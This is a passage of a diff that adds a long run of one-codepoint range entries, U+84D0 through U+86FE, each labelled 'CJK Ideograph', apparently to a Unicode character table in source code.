+ [0x84d0, 0x84d0], /* CJK Ideograph */
+ [0x84d1, 0x84d1], /* CJK Ideograph */
+ [0x84d2, 0x84d2], /* CJK Ideograph */
+ [0x84d3, 0x84d3], /* CJK Ideograph */
+ [0x84d4, 0x84d4], /* CJK Ideograph */
+ [0x84d5, 0x84d5], /* CJK Ideograph */
+ [0x84d6, 0x84d6], /* CJK Ideograph */
+ [0x84d7, 0x84d7], /* CJK Ideograph */
+ [0x84d8, 0x84d8], /* CJK Ideograph */
+ [0x84d9, 0x84d9], /* CJK Ideograph */
+ [0x84da, 0x84da], /* CJK Ideograph */
+ [0x84db, 0x84db], /* CJK Ideograph */
+ [0x84dc, 0x84dc], /* CJK Ideograph */
+ [0x84dd, 0x84dd], /* CJK Ideograph */
+ [0x84de, 0x84de], /* CJK Ideograph */
+ [0x84df, 0x84df], /* CJK Ideograph */
+ [0x84e0, 0x84e0], /* CJK Ideograph */
+ [0x84e1, 0x84e1], /* CJK Ideograph */
+ [0x84e2, 0x84e2], /* CJK Ideograph */
+ [0x84e3, 0x84e3], /* CJK Ideograph */
+ [0x84e4, 0x84e4], /* CJK Ideograph */
+ [0x84e5, 0x84e5], /* CJK Ideograph */
+ [0x84e6, 0x84e6], /* CJK Ideograph */
+ [0x84e7, 0x84e7], /* CJK Ideograph */
+ [0x84e8, 0x84e8], /* CJK Ideograph */
+ [0x84e9, 0x84e9], /* CJK Ideograph */
+ [0x84ea, 0x84ea], /* CJK Ideograph */
+ [0x84eb, 0x84eb], /* CJK Ideograph */
+ [0x84ec, 0x84ec], /* CJK Ideograph */
+ [0x84ed, 0x84ed], /* CJK Ideograph */
+ [0x84ee, 0x84ee], /* CJK Ideograph */
+ [0x84ef, 0x84ef], /* CJK Ideograph */
+ [0x84f0, 0x84f0], /* CJK Ideograph */
+ [0x84f1, 0x84f1], /* CJK Ideograph */
+ [0x84f2, 0x84f2], /* CJK Ideograph */
+ [0x84f3, 0x84f3], /* CJK Ideograph */
+ [0x84f4, 0x84f4], /* CJK Ideograph */
+ [0x84f5, 0x84f5], /* CJK Ideograph */
+ [0x84f6, 0x84f6], /* CJK Ideograph */
+ [0x84f7, 0x84f7], /* CJK Ideograph */
+ [0x84f8, 0x84f8], /* CJK Ideograph */
+ [0x84f9, 0x84f9], /* CJK Ideograph */
+ [0x84fa, 0x84fa], /* CJK Ideograph */
+ [0x84fb, 0x84fb], /* CJK Ideograph */
+ [0x84fc, 0x84fc], /* CJK Ideograph */
+ [0x84fd, 0x84fd], /* CJK Ideograph */
+ [0x84fe, 0x84fe], /* CJK Ideograph */
+ [0x84ff, 0x84ff], /* CJK Ideograph */
+ [0x8500, 0x8500], /* CJK Ideograph */
+ [0x8501, 0x8501], /* CJK Ideograph */
+ [0x8502, 0x8502], /* CJK Ideograph */
+ [0x8503, 0x8503], /* CJK Ideograph */
+ [0x8504, 0x8504], /* CJK Ideograph */
+ [0x8505, 0x8505], /* CJK Ideograph */
+ [0x8506, 0x8506], /* CJK Ideograph */
+ [0x8507, 0x8507], /* CJK Ideograph */
+ [0x8508, 0x8508], /* CJK Ideograph */
+ [0x8509, 0x8509], /* CJK Ideograph */
+ [0x850a, 0x850a], /* CJK Ideograph */
+ [0x850b, 0x850b], /* CJK Ideograph */
+ [0x850c, 0x850c], /* CJK Ideograph */
+ [0x850d, 0x850d], /* CJK Ideograph */
+ [0x850e, 0x850e], /* CJK Ideograph */
+ [0x850f, 0x850f], /* CJK Ideograph */
+ [0x8510, 0x8510], /* CJK Ideograph */
+ [0x8511, 0x8511], /* CJK Ideograph */
+ [0x8512, 0x8512], /* CJK Ideograph */
+ [0x8513, 0x8513], /* CJK Ideograph */
+ [0x8514, 0x8514], /* CJK Ideograph */
+ [0x8515, 0x8515], /* CJK Ideograph */
+ [0x8516, 0x8516], /* CJK Ideograph */
+ [0x8517, 0x8517], /* CJK Ideograph */
+ [0x8518, 0x8518], /* CJK Ideograph */
+ [0x8519, 0x8519], /* CJK Ideograph */
+ [0x851a, 0x851a], /* CJK Ideograph */
+ [0x851b, 0x851b], /* CJK Ideograph */
+ [0x851c, 0x851c], /* CJK Ideograph */
+ [0x851d, 0x851d], /* CJK Ideograph */
+ [0x851e, 0x851e], /* CJK Ideograph */
+ [0x851f, 0x851f], /* CJK Ideograph */
+ [0x8520, 0x8520], /* CJK Ideograph */
+ [0x8521, 0x8521], /* CJK Ideograph */
+ [0x8522, 0x8522], /* CJK Ideograph */
+ [0x8523, 0x8523], /* CJK Ideograph */
+ [0x8524, 0x8524], /* CJK Ideograph */
+ [0x8525, 0x8525], /* CJK Ideograph */
+ [0x8526, 0x8526], /* CJK Ideograph */
+ [0x8527, 0x8527], /* CJK Ideograph */
+ [0x8528, 0x8528], /* CJK Ideograph */
+ [0x8529, 0x8529], /* CJK Ideograph */
+ [0x852a, 0x852a], /* CJK Ideograph */
+ [0x852b, 0x852b], /* CJK Ideograph */
+ [0x852c, 0x852c], /* CJK Ideograph */
+ [0x852d, 0x852d], /* CJK Ideograph */
+ [0x852e, 0x852e], /* CJK Ideograph */
+ [0x852f, 0x852f], /* CJK Ideograph */
+ [0x8530, 0x8530], /* CJK Ideograph */
+ [0x8531, 0x8531], /* CJK Ideograph */
+ [0x8532, 0x8532], /* CJK Ideograph */
+ [0x8533, 0x8533], /* CJK Ideograph */
+ [0x8534, 0x8534], /* CJK Ideograph */
+ [0x8535, 0x8535], /* CJK Ideograph */
+ [0x8536, 0x8536], /* CJK Ideograph */
+ [0x8537, 0x8537], /* CJK Ideograph */
+ [0x8538, 0x8538], /* CJK Ideograph */
+ [0x8539, 0x8539], /* CJK Ideograph */
+ [0x853a, 0x853a], /* CJK Ideograph */
+ [0x853b, 0x853b], /* CJK Ideograph */
+ [0x853c, 0x853c], /* CJK Ideograph */
+ [0x853d, 0x853d], /* CJK Ideograph */
+ [0x853e, 0x853e], /* CJK Ideograph */
+ [0x853f, 0x853f], /* CJK Ideograph */
+ [0x8540, 0x8540], /* CJK Ideograph */
+ [0x8541, 0x8541], /* CJK Ideograph */
+ [0x8542, 0x8542], /* CJK Ideograph */
+ [0x8543, 0x8543], /* CJK Ideograph */
+ [0x8544, 0x8544], /* CJK Ideograph */
+ [0x8545, 0x8545], /* CJK Ideograph */
+ [0x8546, 0x8546], /* CJK Ideograph */
+ [0x8547, 0x8547], /* CJK Ideograph */
+ [0x8548, 0x8548], /* CJK Ideograph */
+ [0x8549, 0x8549], /* CJK Ideograph */
+ [0x854a, 0x854a], /* CJK Ideograph */
+ [0x854b, 0x854b], /* CJK Ideograph */
+ [0x854c, 0x854c], /* CJK Ideograph */
+ [0x854d, 0x854d], /* CJK Ideograph */
+ [0x854e, 0x854e], /* CJK Ideograph */
+ [0x854f, 0x854f], /* CJK Ideograph */
+ [0x8550, 0x8550], /* CJK Ideograph */
+ [0x8551, 0x8551], /* CJK Ideograph */
+ [0x8552, 0x8552], /* CJK Ideograph */
+ [0x8553, 0x8553], /* CJK Ideograph */
+ [0x8554, 0x8554], /* CJK Ideograph */
+ [0x8555, 0x8555], /* CJK Ideograph */
+ [0x8556, 0x8556], /* CJK Ideograph */
+ [0x8557, 0x8557], /* CJK Ideograph */
+ [0x8558, 0x8558], /* CJK Ideograph */
+ [0x8559, 0x8559], /* CJK Ideograph */
+ [0x855a, 0x855a], /* CJK Ideograph */
+ [0x855b, 0x855b], /* CJK Ideograph */
+ [0x855c, 0x855c], /* CJK Ideograph */
+ [0x855d, 0x855d], /* CJK Ideograph */
+ [0x855e, 0x855e], /* CJK Ideograph */
+ [0x855f, 0x855f], /* CJK Ideograph */
+ [0x8560, 0x8560], /* CJK Ideograph */
+ [0x8561, 0x8561], /* CJK Ideograph */
+ [0x8562, 0x8562], /* CJK Ideograph */
+ [0x8563, 0x8563], /* CJK Ideograph */
+ [0x8564, 0x8564], /* CJK Ideograph */
+ [0x8565, 0x8565], /* CJK Ideograph */
+ [0x8566, 0x8566], /* CJK Ideograph */
+ [0x8567, 0x8567], /* CJK Ideograph */
+ [0x8568, 0x8568], /* CJK Ideograph */
+ [0x8569, 0x8569], /* CJK Ideograph */
+ [0x856a, 0x856a], /* CJK Ideograph */
+ [0x856b, 0x856b], /* CJK Ideograph */
+ [0x856c, 0x856c], /* CJK Ideograph */
+ [0x856d, 0x856d], /* CJK Ideograph */
+ [0x856e, 0x856e], /* CJK Ideograph */
+ [0x856f, 0x856f], /* CJK Ideograph */
+ [0x8570, 0x8570], /* CJK Ideograph */
+ [0x8571, 0x8571], /* CJK Ideograph */
+ [0x8572, 0x8572], /* CJK Ideograph */
+ [0x8573, 0x8573], /* CJK Ideograph */
+ [0x8574, 0x8574], /* CJK Ideograph */
+ [0x8575, 0x8575], /* CJK Ideograph */
+ [0x8576, 0x8576], /* CJK Ideograph */
+ [0x8577, 0x8577], /* CJK Ideograph */
+ [0x8578, 0x8578], /* CJK Ideograph */
+ [0x8579, 0x8579], /* CJK Ideograph */
+ [0x857a, 0x857a], /* CJK Ideograph */
+ [0x857b, 0x857b], /* CJK Ideograph */
+ [0x857c, 0x857c], /* CJK Ideograph */
+ [0x857d, 0x857d], /* CJK Ideograph */
+ [0x857e, 0x857e], /* CJK Ideograph */
+ [0x857f, 0x857f], /* CJK Ideograph */
+ [0x8580, 0x8580], /* CJK Ideograph */
+ [0x8581, 0x8581], /* CJK Ideograph */
+ [0x8582, 0x8582], /* CJK Ideograph */
+ [0x8583, 0x8583], /* CJK Ideograph */
+ [0x8584, 0x8584], /* CJK Ideograph */
+ [0x8585, 0x8585], /* CJK Ideograph */
+ [0x8586, 0x8586], /* CJK Ideograph */
+ [0x8587, 0x8587], /* CJK Ideograph */
+ [0x8588, 0x8588], /* CJK Ideograph */
+ [0x8589, 0x8589], /* CJK Ideograph */
+ [0x858a, 0x858a], /* CJK Ideograph */
+ [0x858b, 0x858b], /* CJK Ideograph */
+ [0x858c, 0x858c], /* CJK Ideograph */
+ [0x858d, 0x858d], /* CJK Ideograph */
+ [0x858e, 0x858e], /* CJK Ideograph */
+ [0x858f, 0x858f], /* CJK Ideograph */
+ [0x8590, 0x8590], /* CJK Ideograph */
+ [0x8591, 0x8591], /* CJK Ideograph */
+ [0x8592, 0x8592], /* CJK Ideograph */
+ [0x8593, 0x8593], /* CJK Ideograph */
+ [0x8594, 0x8594], /* CJK Ideograph */
+ [0x8595, 0x8595], /* CJK Ideograph */
+ [0x8596, 0x8596], /* CJK Ideograph */
+ [0x8597, 0x8597], /* CJK Ideograph */
+ [0x8598, 0x8598], /* CJK Ideograph */
+ [0x8599, 0x8599], /* CJK Ideograph */
+ [0x859a, 0x859a], /* CJK Ideograph */
+ [0x859b, 0x859b], /* CJK Ideograph */
+ [0x859c, 0x859c], /* CJK Ideograph */
+ [0x859d, 0x859d], /* CJK Ideograph */
+ [0x859e, 0x859e], /* CJK Ideograph */
+ [0x859f, 0x859f], /* CJK Ideograph */
+ [0x85a0, 0x85a0], /* CJK Ideograph */
+ [0x85a1, 0x85a1], /* CJK Ideograph */
+ [0x85a2, 0x85a2], /* CJK Ideograph */
+ [0x85a3, 0x85a3], /* CJK Ideograph */
+ [0x85a4, 0x85a4], /* CJK Ideograph */
+ [0x85a5, 0x85a5], /* CJK Ideograph */
+ [0x85a6, 0x85a6], /* CJK Ideograph */
+ [0x85a7, 0x85a7], /* CJK Ideograph */
+ [0x85a8, 0x85a8], /* CJK Ideograph */
+ [0x85a9, 0x85a9], /* CJK Ideograph */
+ [0x85aa, 0x85aa], /* CJK Ideograph */
+ [0x85ab, 0x85ab], /* CJK Ideograph */
+ [0x85ac, 0x85ac], /* CJK Ideograph */
+ [0x85ad, 0x85ad], /* CJK Ideograph */
+ [0x85ae, 0x85ae], /* CJK Ideograph */
+ [0x85af, 0x85af], /* CJK Ideograph */
+ [0x85b0, 0x85b0], /* CJK Ideograph */
+ [0x85b1, 0x85b1], /* CJK Ideograph */
+ [0x85b2, 0x85b2], /* CJK Ideograph */
+ [0x85b3, 0x85b3], /* CJK Ideograph */
+ [0x85b4, 0x85b4], /* CJK Ideograph */
+ [0x85b5, 0x85b5], /* CJK Ideograph */
+ [0x85b6, 0x85b6], /* CJK Ideograph */
+ [0x85b7, 0x85b7], /* CJK Ideograph */
+ [0x85b8, 0x85b8], /* CJK Ideograph */
+ [0x85b9, 0x85b9], /* CJK Ideograph */
+ [0x85ba, 0x85ba], /* CJK Ideograph */
+ [0x85bb, 0x85bb], /* CJK Ideograph */
+ [0x85bc, 0x85bc], /* CJK Ideograph */
+ [0x85bd, 0x85bd], /* CJK Ideograph */
+ [0x85be, 0x85be], /* CJK Ideograph */
+ [0x85bf, 0x85bf], /* CJK Ideograph */
+ [0x85c0, 0x85c0], /* CJK Ideograph */
+ [0x85c1, 0x85c1], /* CJK Ideograph */
+ [0x85c2, 0x85c2], /* CJK Ideograph */
+ [0x85c3, 0x85c3], /* CJK Ideograph */
+ [0x85c4, 0x85c4], /* CJK Ideograph */
+ [0x85c5, 0x85c5], /* CJK Ideograph */
+ [0x85c6, 0x85c6], /* CJK Ideograph */
+ [0x85c7, 0x85c7], /* CJK Ideograph */
+ [0x85c8, 0x85c8], /* CJK Ideograph */
+ [0x85c9, 0x85c9], /* CJK Ideograph */
+ [0x85ca, 0x85ca], /* CJK Ideograph */
+ [0x85cb, 0x85cb], /* CJK Ideograph */
+ [0x85cc, 0x85cc], /* CJK Ideograph */
+ [0x85cd, 0x85cd], /* CJK Ideograph */
+ [0x85ce, 0x85ce], /* CJK Ideograph */
+ [0x85cf, 0x85cf], /* CJK Ideograph */
+ [0x85d0, 0x85d0], /* CJK Ideograph */
+ [0x85d1, 0x85d1], /* CJK Ideograph */
+ [0x85d2, 0x85d2], /* CJK Ideograph */
+ [0x85d3, 0x85d3], /* CJK Ideograph */
+ [0x85d4, 0x85d4], /* CJK Ideograph */
+ [0x85d5, 0x85d5], /* CJK Ideograph */
+ [0x85d6, 0x85d6], /* CJK Ideograph */
+ [0x85d7, 0x85d7], /* CJK Ideograph */
+ [0x85d8, 0x85d8], /* CJK Ideograph */
+ [0x85d9, 0x85d9], /* CJK Ideograph */
+ [0x85da, 0x85da], /* CJK Ideograph */
+ [0x85db, 0x85db], /* CJK Ideograph */
+ [0x85dc, 0x85dc], /* CJK Ideograph */
+ [0x85dd, 0x85dd], /* CJK Ideograph */
+ [0x85de, 0x85de], /* CJK Ideograph */
+ [0x85df, 0x85df], /* CJK Ideograph */
+ [0x85e0, 0x85e0], /* CJK Ideograph */
+ [0x85e1, 0x85e1], /* CJK Ideograph */
+ [0x85e2, 0x85e2], /* CJK Ideograph */
+ [0x85e3, 0x85e3], /* CJK Ideograph */
+ [0x85e4, 0x85e4], /* CJK Ideograph */
+ [0x85e5, 0x85e5], /* CJK Ideograph */
+ [0x85e6, 0x85e6], /* CJK Ideograph */
+ [0x85e7, 0x85e7], /* CJK Ideograph */
+ [0x85e8, 0x85e8], /* CJK Ideograph */
+ [0x85e9, 0x85e9], /* CJK Ideograph */
+ [0x85ea, 0x85ea], /* CJK Ideograph */
+ [0x85eb, 0x85eb], /* CJK Ideograph */
+ [0x85ec, 0x85ec], /* CJK Ideograph */
+ [0x85ed, 0x85ed], /* CJK Ideograph */
+ [0x85ee, 0x85ee], /* CJK Ideograph */
+ [0x85ef, 0x85ef], /* CJK Ideograph */
+ [0x85f0, 0x85f0], /* CJK Ideograph */
+ [0x85f1, 0x85f1], /* CJK Ideograph */
+ [0x85f2, 0x85f2], /* CJK Ideograph */
+ [0x85f3, 0x85f3], /* CJK Ideograph */
+ [0x85f4, 0x85f4], /* CJK Ideograph */
+ [0x85f5, 0x85f5], /* CJK Ideograph */
+ [0x85f6, 0x85f6], /* CJK Ideograph */
+ [0x85f7, 0x85f7], /* CJK Ideograph */
+ [0x85f8, 0x85f8], /* CJK Ideograph */
+ [0x85f9, 0x85f9], /* CJK Ideograph */
+ [0x85fa, 0x85fa], /* CJK Ideograph */
+ [0x85fb, 0x85fb], /* CJK Ideograph */
+ [0x85fc, 0x85fc], /* CJK Ideograph */
+ [0x85fd, 0x85fd], /* CJK Ideograph */
+ [0x85fe, 0x85fe], /* CJK Ideograph */
+ [0x85ff, 0x85ff], /* CJK Ideograph */
+ [0x8600, 0x8600], /* CJK Ideograph */
+ [0x8601, 0x8601], /* CJK Ideograph */
+ [0x8602, 0x8602], /* CJK Ideograph */
+ [0x8603, 0x8603], /* CJK Ideograph */
+ [0x8604, 0x8604], /* CJK Ideograph */
+ [0x8605, 0x8605], /* CJK Ideograph */
+ [0x8606, 0x8606], /* CJK Ideograph */
+ [0x8607, 0x8607], /* CJK Ideograph */
+ [0x8608, 0x8608], /* CJK Ideograph */
+ [0x8609, 0x8609], /* CJK Ideograph */
+ [0x860a, 0x860a], /* CJK Ideograph */
+ [0x860b, 0x860b], /* CJK Ideograph */
+ [0x860c, 0x860c], /* CJK Ideograph */
+ [0x860d, 0x860d], /* CJK Ideograph */
+ [0x860e, 0x860e], /* CJK Ideograph */
+ [0x860f, 0x860f], /* CJK Ideograph */
+ [0x8610, 0x8610], /* CJK Ideograph */
+ [0x8611, 0x8611], /* CJK Ideograph */
+ [0x8612, 0x8612], /* CJK Ideograph */
+ [0x8613, 0x8613], /* CJK Ideograph */
+ [0x8614, 0x8614], /* CJK Ideograph */
+ [0x8615, 0x8615], /* CJK Ideograph */
+ [0x8616, 0x8616], /* CJK Ideograph */
+ [0x8617, 0x8617], /* CJK Ideograph */
+ [0x8618, 0x8618], /* CJK Ideograph */
+ [0x8619, 0x8619], /* CJK Ideograph */
+ [0x861a, 0x861a], /* CJK Ideograph */
+ [0x861b, 0x861b], /* CJK Ideograph */
+ [0x861c, 0x861c], /* CJK Ideograph */
+ [0x861d, 0x861d], /* CJK Ideograph */
+ [0x861e, 0x861e], /* CJK Ideograph */
+ [0x861f, 0x861f], /* CJK Ideograph */
+ [0x8620, 0x8620], /* CJK Ideograph */
+ [0x8621, 0x8621], /* CJK Ideograph */
+ [0x8622, 0x8622], /* CJK Ideograph */
+ [0x8623, 0x8623], /* CJK Ideograph */
+ [0x8624, 0x8624], /* CJK Ideograph */
+ [0x8625, 0x8625], /* CJK Ideograph */
+ [0x8626, 0x8626], /* CJK Ideograph */
+ [0x8627, 0x8627], /* CJK Ideograph */
+ [0x8628, 0x8628], /* CJK Ideograph */
+ [0x8629, 0x8629], /* CJK Ideograph */
+ [0x862a, 0x862a], /* CJK Ideograph */
+ [0x862b, 0x862b], /* CJK Ideograph */
+ [0x862c, 0x862c], /* CJK Ideograph */
+ [0x862d, 0x862d], /* CJK Ideograph */
+ [0x862e, 0x862e], /* CJK Ideograph */
+ [0x862f, 0x862f], /* CJK Ideograph */
+ [0x8630, 0x8630], /* CJK Ideograph */
+ [0x8631, 0x8631], /* CJK Ideograph */
+ [0x8632, 0x8632], /* CJK Ideograph */
+ [0x8633, 0x8633], /* CJK Ideograph */
+ [0x8634, 0x8634], /* CJK Ideograph */
+ [0x8635, 0x8635], /* CJK Ideograph */
+ [0x8636, 0x8636], /* CJK Ideograph */
+ [0x8637, 0x8637], /* CJK Ideograph */
+ [0x8638, 0x8638], /* CJK Ideograph */
+ [0x8639, 0x8639], /* CJK Ideograph */
+ [0x863a, 0x863a], /* CJK Ideograph */
+ [0x863b, 0x863b], /* CJK Ideograph */
+ [0x863c, 0x863c], /* CJK Ideograph */
+ [0x863d, 0x863d], /* CJK Ideograph */
+ [0x863e, 0x863e], /* CJK Ideograph */
+ [0x863f, 0x863f], /* CJK Ideograph */
+ [0x8640, 0x8640], /* CJK Ideograph */
+ [0x8641, 0x8641], /* CJK Ideograph */
+ [0x8642, 0x8642], /* CJK Ideograph */
+ [0x8643, 0x8643], /* CJK Ideograph */
+ [0x8644, 0x8644], /* CJK Ideograph */
+ [0x8645, 0x8645], /* CJK Ideograph */
+ [0x8646, 0x8646], /* CJK Ideograph */
+ [0x8647, 0x8647], /* CJK Ideograph */
+ [0x8648, 0x8648], /* CJK Ideograph */
+ [0x8649, 0x8649], /* CJK Ideograph */
+ [0x864a, 0x864a], /* CJK Ideograph */
+ [0x864b, 0x864b], /* CJK Ideograph */
+ [0x864c, 0x864c], /* CJK Ideograph */
+ [0x864d, 0x864d], /* CJK Ideograph */
+ [0x864e, 0x864e], /* CJK Ideograph */
+ [0x864f, 0x864f], /* CJK Ideograph */
+ [0x8650, 0x8650], /* CJK Ideograph */
+ [0x8651, 0x8651], /* CJK Ideograph */
+ [0x8652, 0x8652], /* CJK Ideograph */
+ [0x8653, 0x8653], /* CJK Ideograph */
+ [0x8654, 0x8654], /* CJK Ideograph */
+ [0x8655, 0x8655], /* CJK Ideograph */
+ [0x8656, 0x8656], /* CJK Ideograph */
+ [0x8657, 0x8657], /* CJK Ideograph */
+ [0x8658, 0x8658], /* CJK Ideograph */
+ [0x8659, 0x8659], /* CJK Ideograph */
+ [0x865a, 0x865a], /* CJK Ideograph */
+ [0x865b, 0x865b], /* CJK Ideograph */
+ [0x865c, 0x865c], /* CJK Ideograph */
+ [0x865d, 0x865d], /* CJK Ideograph */
+ [0x865e, 0x865e], /* CJK Ideograph */
+ [0x865f, 0x865f], /* CJK Ideograph */
+ [0x8660, 0x8660], /* CJK Ideograph */
+ [0x8661, 0x8661], /* CJK Ideograph */
+ [0x8662, 0x8662], /* CJK Ideograph */
+ [0x8663, 0x8663], /* CJK Ideograph */
+ [0x8664, 0x8664], /* CJK Ideograph */
+ [0x8665, 0x8665], /* CJK Ideograph */
+ [0x8666, 0x8666], /* CJK Ideograph */
+ [0x8667, 0x8667], /* CJK Ideograph */
+ [0x8668, 0x8668], /* CJK Ideograph */
+ [0x8669, 0x8669], /* CJK Ideograph */
+ [0x866a, 0x866a], /* CJK Ideograph */
+ [0x866b, 0x866b], /* CJK Ideograph */
+ [0x866c, 0x866c], /* CJK Ideograph */
+ [0x866d, 0x866d], /* CJK Ideograph */
+ [0x866e, 0x866e], /* CJK Ideograph */
+ [0x866f, 0x866f], /* CJK Ideograph */
+ [0x8670, 0x8670], /* CJK Ideograph */
+ [0x8671, 0x8671], /* CJK Ideograph */
+ [0x8672, 0x8672], /* CJK Ideograph */
+ [0x8673, 0x8673], /* CJK Ideograph */
+ [0x8674, 0x8674], /* CJK Ideograph */
+ [0x8675, 0x8675], /* CJK Ideograph */
+ [0x8676, 0x8676], /* CJK Ideograph */
+ [0x8677, 0x8677], /* CJK Ideograph */
+ [0x8678, 0x8678], /* CJK Ideograph */
+ [0x8679, 0x8679], /* CJK Ideograph */
+ [0x867a, 0x867a], /* CJK Ideograph */
+ [0x867b, 0x867b], /* CJK Ideograph */
+ [0x867c, 0x867c], /* CJK Ideograph */
+ [0x867d, 0x867d], /* CJK Ideograph */
+ [0x867e, 0x867e], /* CJK Ideograph */
+ [0x867f, 0x867f], /* CJK Ideograph */
+ [0x8680, 0x8680], /* CJK Ideograph */
+ [0x8681, 0x8681], /* CJK Ideograph */
+ [0x8682, 0x8682], /* CJK Ideograph */
+ [0x8683, 0x8683], /* CJK Ideograph */
+ [0x8684, 0x8684], /* CJK Ideograph */
+ [0x8685, 0x8685], /* CJK Ideograph */
+ [0x8686, 0x8686], /* CJK Ideograph */
+ [0x8687, 0x8687], /* CJK Ideograph */
+ [0x8688, 0x8688], /* CJK Ideograph */
+ [0x8689, 0x8689], /* CJK Ideograph */
+ [0x868a, 0x868a], /* CJK Ideograph */
+ [0x868b, 0x868b], /* CJK Ideograph */
+ [0x868c, 0x868c], /* CJK Ideograph */
+ [0x868d, 0x868d], /* CJK Ideograph */
+ [0x868e, 0x868e], /* CJK Ideograph */
+ [0x868f, 0x868f], /* CJK Ideograph */
+ [0x8690, 0x8690], /* CJK Ideograph */
+ [0x8691, 0x8691], /* CJK Ideograph */
+ [0x8692, 0x8692], /* CJK Ideograph */
+ [0x8693, 0x8693], /* CJK Ideograph */
+ [0x8694, 0x8694], /* CJK Ideograph */
+ [0x8695, 0x8695], /* CJK Ideograph */
+ [0x8696, 0x8696], /* CJK Ideograph */
+ [0x8697, 0x8697], /* CJK Ideograph */
+ [0x8698, 0x8698], /* CJK Ideograph */
+ [0x8699, 0x8699], /* CJK Ideograph */
+ [0x869a, 0x869a], /* CJK Ideograph */
+ [0x869b, 0x869b], /* CJK Ideograph */
+ [0x869c, 0x869c], /* CJK Ideograph */
+ [0x869d, 0x869d], /* CJK Ideograph */
+ [0x869e, 0x869e], /* CJK Ideograph */
+ [0x869f, 0x869f], /* CJK Ideograph */
+ [0x86a0, 0x86a0], /* CJK Ideograph */
+ [0x86a1, 0x86a1], /* CJK Ideograph */
+ [0x86a2, 0x86a2], /* CJK Ideograph */
+ [0x86a3, 0x86a3], /* CJK Ideograph */
+ [0x86a4, 0x86a4], /* CJK Ideograph */
+ [0x86a5, 0x86a5], /* CJK Ideograph */
+ [0x86a6, 0x86a6], /* CJK Ideograph */
+ [0x86a7, 0x86a7], /* CJK Ideograph */
+ [0x86a8, 0x86a8], /* CJK Ideograph */
+ [0x86a9, 0x86a9], /* CJK Ideograph */
+ [0x86aa, 0x86aa], /* CJK Ideograph */
+ [0x86ab, 0x86ab], /* CJK Ideograph */
+ [0x86ac, 0x86ac], /* CJK Ideograph */
+ [0x86ad, 0x86ad], /* CJK Ideograph */
+ [0x86ae, 0x86ae], /* CJK Ideograph */
+ [0x86af, 0x86af], /* CJK Ideograph */
+ [0x86b0, 0x86b0], /* CJK Ideograph */
+ [0x86b1, 0x86b1], /* CJK Ideograph */
+ [0x86b2, 0x86b2], /* CJK Ideograph */
+ [0x86b3, 0x86b3], /* CJK Ideograph */
+ [0x86b4, 0x86b4], /* CJK Ideograph */
+ [0x86b5, 0x86b5], /* CJK Ideograph */
+ [0x86b6, 0x86b6], /* CJK Ideograph */
+ [0x86b7, 0x86b7], /* CJK Ideograph */
+ [0x86b8, 0x86b8], /* CJK Ideograph */
+ [0x86b9, 0x86b9], /* CJK Ideograph */
+ [0x86ba, 0x86ba], /* CJK Ideograph */
+ [0x86bb, 0x86bb], /* CJK Ideograph */
+ [0x86bc, 0x86bc], /* CJK Ideograph */
+ [0x86bd, 0x86bd], /* CJK Ideograph */
+ [0x86be, 0x86be], /* CJK Ideograph */
+ [0x86bf, 0x86bf], /* CJK Ideograph */
+ [0x86c0, 0x86c0], /* CJK Ideograph */
+ [0x86c1, 0x86c1], /* CJK Ideograph */
+ [0x86c2, 0x86c2], /* CJK Ideograph */
+ [0x86c3, 0x86c3], /* CJK Ideograph */
+ [0x86c4, 0x86c4], /* CJK Ideograph */
+ [0x86c5, 0x86c5], /* CJK Ideograph */
+ [0x86c6, 0x86c6], /* CJK Ideograph */
+ [0x86c7, 0x86c7], /* CJK Ideograph */
+ [0x86c8, 0x86c8], /* CJK Ideograph */
+ [0x86c9, 0x86c9], /* CJK Ideograph */
+ [0x86ca, 0x86ca], /* CJK Ideograph */
+ [0x86cb, 0x86cb], /* CJK Ideograph */
+ [0x86cc, 0x86cc], /* CJK Ideograph */
+ [0x86cd, 0x86cd], /* CJK Ideograph */
+ [0x86ce, 0x86ce], /* CJK Ideograph */
+ [0x86cf, 0x86cf], /* CJK Ideograph */
+ [0x86d0, 0x86d0], /* CJK Ideograph */
+ [0x86d1, 0x86d1], /* CJK Ideograph */
+ [0x86d2, 0x86d2], /* CJK Ideograph */
+ [0x86d3, 0x86d3], /* CJK Ideograph */
+ [0x86d4, 0x86d4], /* CJK Ideograph */
+ [0x86d5, 0x86d5], /* CJK Ideograph */
+ [0x86d6, 0x86d6], /* CJK Ideograph */
+ [0x86d7, 0x86d7], /* CJK Ideograph */
+ [0x86d8, 0x86d8], /* CJK Ideograph */
+ [0x86d9, 0x86d9], /* CJK Ideograph */
+ [0x86da, 0x86da], /* CJK Ideograph */
+ [0x86db, 0x86db], /* CJK Ideograph */
+ [0x86dc, 0x86dc], /* CJK Ideograph */
+ [0x86dd, 0x86dd], /* CJK Ideograph */
+ [0x86de, 0x86de], /* CJK Ideograph */
+ [0x86df, 0x86df], /* CJK Ideograph */
+ [0x86e0, 0x86e0], /* CJK Ideograph */
+ [0x86e1, 0x86e1], /* CJK Ideograph */
+ [0x86e2, 0x86e2], /* CJK Ideograph */
+ [0x86e3, 0x86e3], /* CJK Ideograph */
+ [0x86e4, 0x86e4], /* CJK Ideograph */
+ [0x86e5, 0x86e5], /* CJK Ideograph */
+ [0x86e6, 0x86e6], /* CJK Ideograph */
+ [0x86e7, 0x86e7], /* CJK Ideograph */
+ [0x86e8, 0x86e8], /* CJK Ideograph */
+ [0x86e9, 0x86e9], /* CJK Ideograph */
+ [0x86ea, 0x86ea], /* CJK Ideograph */
+ [0x86eb, 0x86eb], /* CJK Ideograph */
+ [0x86ec, 0x86ec], /* CJK Ideograph */
+ [0x86ed, 0x86ed], /* CJK Ideograph */
+ [0x86ee, 0x86ee], /* CJK Ideograph */
+ [0x86ef, 0x86ef], /* CJK Ideograph */
+ [0x86f0, 0x86f0], /* CJK Ideograph */
+ [0x86f1, 0x86f1], /* CJK Ideograph */
+ [0x86f2, 0x86f2], /* CJK Ideograph */
+ [0x86f3, 0x86f3], /* CJK Ideograph */
+ [0x86f4, 0x86f4], /* CJK Ideograph */
+ [0x86f5, 0x86f5], /* CJK Ideograph */
+ [0x86f6, 0x86f6], /* CJK Ideograph */
+ [0x86f7, 0x86f7], /* CJK Ideograph */
+ [0x86f8, 0x86f8], /* CJK Ideograph */
+ [0x86f9, 0x86f9], /* CJK Ideograph */
+ [0x86fa, 0x86fa], /* CJK Ideograph */
+ [0x86fb, 0x86fb], /* CJK Ideograph */
+ [0x86fc, 0x86fc], /* CJK Ideograph */
+ [0x86fd, 0x86fd], /* CJK Ideograph */
+ [0x86fe, 0x86fe], /* CJK Ideograph */
